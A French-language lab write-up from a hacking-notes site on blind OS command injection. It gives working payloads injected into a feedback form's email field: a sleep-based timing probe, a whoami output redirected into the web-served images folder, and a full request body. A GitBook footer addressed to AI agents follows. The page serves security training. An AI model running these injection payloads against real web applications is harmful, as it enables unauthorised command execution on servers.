> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/command-injection/blind-os-command-injection-with-output-redirection.md).

# Injection de commandes OS aveugle avec redirection de sortie

### Injection de commande OS aveugle avec redirection de la sortie

#### Description du laboratoire

* L'application présente une vulnérabilité à l'injection de commandes système **aveugle** dans la fonctionnalité de retour.
* Les données saisies par l'utilisateur sont injectées dans une commande shell côté serveur.
* La sortie de cette commande \*\* n'est pas renvoyée\*\* directement dans la réponse HTTP.
* Il existe cependant un enregistrement accessible sous forme écrite :/ `/var/www/images/`
* L'application sert les images du catalogue produites à partir de ce répertoire.
* Nous pouvons donc **rediriger la sortie** de la commande vers un fichier dans ce dossier, puis lire ce fichier via l'URL de chargement de l'image.

**Objectif du laboratoire :** Exécuter la `whoami` commande et récupérer sa sortie.

```bash
;sleep 10;
```

#### Détection d'injection (délai temporel)

Le formulaire de retour est utilisé. / Le **email** champ est vulnérable : lorsque vous injectez un délai, la réponse prend environ 10 secondes.

Charge utile injectée dans le `email` champ :

{% code overflow="wrap" %}

```bash
csrf=3dBtfZovWVNJXDv2aXCkmfAOSH9tQt7h&name=hello&email=hello%40gmail.com;sleep 10;&subject=hello&message=hello1234
```

{% endcode %}

Le délai de 10 secondes confirme l'injection de commande.

#### Opération avec redirection de la sortie

Objectif : rediriger la sortie de `whoami` vers un fichier dans `/var/www/images/`.

Charge utile injectée dans le `email` champ :

```
;whoami > /var/www/images/test.txt;
```

Exemple d'un corps de requête :

{% code overflow="wrap" %}

```bash
csrf=3dBtfZovWVNJXDv2aXCkmfAOSH9tQt7h&name=hello&email=hello%40gmail.com;whoami > /var/www/images/test.txt;&subject=hello&message=hello1234
```

{% endcode %}

Cette commande crée (ou écrase) le `test.txt` fichier dans le répertoire accessible depuis le web.

```bash
/image?filename=test.txt
```

#### Récupération du résultat

Pour lire la sortie de `whoami` enregistrée dans le fichier, nous appelons l'URL qui sert les fichiers dans le dossier des images :

<figure><img src="/files/c804f620266c55aadacaa0dafec0ac214865f42e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/command-injection/blind-os-command-injection-with-output-redirection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
